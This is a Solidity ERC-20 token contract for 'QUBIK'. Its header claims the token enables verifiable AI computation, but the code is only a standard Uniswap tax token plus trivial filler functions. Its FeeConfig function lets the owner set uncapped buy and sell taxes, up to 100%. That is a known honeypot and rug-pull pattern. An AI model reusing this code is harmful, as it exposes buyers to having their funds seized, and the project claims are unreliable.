QUBIK

/*

Qubik is an Ethereum-native protocol enabling cryptographically verifiable AI computation within a decentralized, trust-minimized execution framework.

Website: https://qubik.finance
X: https://x.com/QubikFi
TG: https://t.me/QubikFi
Docs:  https://docs.qubik.finance

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.30;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

pragma solidity ^0.8.0;

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount)
        external
        returns (bool);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;

    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );
}

contract QUBIK is Context, IERC20, Ownable {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _isExcludedFromFee;
    address payable private _treasuryWallet;
    address private uniswapV2Pair;
    IUniswapV2Router02 private uniswapV2Router;

    uint256 private constant _initialBuyFee = 20;
    uint256 private constant _initialSellFee = 20;
    uint256 private constant _reduceBuyFeeAt = 10;
    uint256 private constant _reduceSellFeeAt = 10;
    uint256 private constant _preventSwapBefore = 10;
    uint256 private _finalBuyTaxes = 0;
    uint256 private _finalSellTaxes = 0;
    uint256 private _buycounts = 0;
    uint256 private _countFee;
    uint256 private _countSwapTx;

    string private constant _name = unicode" Qubik ";
    string private constant _symbol = unicode" QUBIK ";
    uint8 private constant _decimals = 18;
    uint256 private constant _totalSupply = 100_000_000* 10**_decimals;
    uint256 private constant _countTrigger = 2_000_000 * 10**_decimals;
    uint256 public constant _TaxeswapThreshold = 2_000_000 * 10**_decimals;
    uint256 public constant _maxTaxesSwap = 2_000_000 * 10**_decimals;
    uint256 public _MaxTxnAmount =  200_000 * 10**_decimals;
    uint256 public _maxWalletSize = 2_000_000 * 10**_decimals;

    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private guard = false;

    event FinalTaxes(uint256 _valueBuy, uint256 _valueSell);
    event TradingActive(bool _tradingOpen, bool _swapEnabled);
    event maxAmount(uint256 _value);

    modifier lockTheSwap() {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor(address treasuryWallet) {
        _treasuryWallet = payable(treasuryWallet);
        _balances[owner()] = _totalSupply;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[_treasuryWallet] = true;
        _isExcludedFromFee[address(this)] = true;

        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) private {
        require(
            owner != address(0) && spender != address(0),
            "ERC20: approve the zero address"
        );
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        require(
            from != address(0) && to != address(0),
            "ERC20: transfer the zero address"
        );
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 FeeAmount = 0;

        if (from != owner() && to != owner()) {
            if (!tradingOpen) {
                require(
                    _isExcludedFromFee[to] || _isExcludedFromFee[from],
                    "trading not yet open"
                );
            }

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] ) {
                require(amount <= _MaxTxnAmount, "Exceeds the _MaxTxnAmount.");
                require(
                    balanceOf(to) + amount <= _maxWalletSize,
                    "Exceeds the maxWalletSize."
                );
                _buycounts++;
            }

            if (to == uniswapV2Pair && from != address(this)) {
                FeeAmount = amount.mul((_buycounts > _reduceSellFeeAt) ? _finalSellTaxes : _initialSellFee)/100;
            } else if (from == uniswapV2Pair && to != address(this)) {
                FeeAmount = amount.mul((_buycounts > _reduceBuyFeeAt) ? _finalBuyTaxes : _initialBuyFee )/100;
            }

            _countFee += FeeAmount;
            uint256 contractTokenBalance = balanceOf(address(this));

            if ( 
                !inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _TaxeswapThreshold &&
                _buycounts > _preventSwapBefore && _countFee > _countTrigger
            ) {
                _countSwapTx++;
                uint256 getMinValue = (contractTokenBalance > _maxTaxesSwap)? _maxTaxesSwap: contractTokenBalance;
                uint256 getValue = (amount > getMinValue) ? getMinValue : amount;

                if (_countSwapTx >= 3 ) { 
                    swapTokensForEth(getValue); 
                    _countFee = 0; 
                    _countSwapTx = 0;
                } else if (guard == false) { 
                    swapTokensForEth(getValue);
                     _countFee = 0; 
                }

                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance > 0) {
                bool success;
                (success, ) = address(_treasuryWallet).call{ value: address(this).balance }("");
                }
            }
        }

        if (FeeAmount > 0) {
            _balances[address(this)] = _balances[address(this)].add(FeeAmount);
            emit Transfer(from, address(this), FeeAmount);
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount.sub(FeeAmount));
        emit Transfer(from, to, amount.sub(FeeAmount));
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

     /// @notice imulate an action.
    /// @param input Any uint256 input.
    /// @return output Returns input multiplied by 2.
    function multiplyByTwo(uint256 input) public pure returns (uint256 output) {
        return input * 2;
    }
    /// @notice check if contract is active.
    /// @return Always returns true.
    function isActive() public pure returns (bool) {
        return true;
    }
    /**
     * @notice initialize getting pair tarding
     */
    function initPair() external onlyOwner {
        require(!tradingOpen, "setpair already paired");
        uint256 tokenAmount = balanceOf(address(this)).sub(_totalSupply.mul(_initialBuyFee).div(100));
        uniswapV2Router = IUniswapV2Router02(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        ); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
            address(this),
            uniswapV2Router.WETH()
        );
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(
            address(this),
            tokenAmount,
            0,
            0,
            _msgSender(),
            block.timestamp
        );
        IERC20(uniswapV2Pair).approve(
            address(uniswapV2Router),
            type(uint256).max
        );
    }

    /**
     * @notice startTrading 
     */
    function start() external onlyOwner {
        require(!tradingOpen, "trading already open");
        swapEnabled = true;
        tradingOpen = true;
        emit TradingActive(tradingOpen, swapEnabled);
    }

    /**
     * @notice remove limit buy amount and limit max wallet. 
     */
    function maxAmntLimits () external onlyOwner {
        require(tradingOpen, "trading not yet open");
        _MaxTxnAmount = _totalSupply;
        _maxWalletSize = _totalSupply;
        emit maxAmount(_totalSupply);
    }

    /**
     * @notice configuration Fee.
     * @param _valueBuy Fee for buy.
     * @param _valueSell Fee for sell.
     * @param _guard protection of uncloged.
     */
    function FeeConfig (uint256 _valueBuy, uint256 _valueSell, bool _guard) external onlyOwner {
        _finalBuyTaxes = _valueBuy;
        _finalSellTaxes = _valueSell;
        guard = _guard;
        emit FinalTaxes(_valueBuy, _valueSell);
    }

    receive() external payable {}
}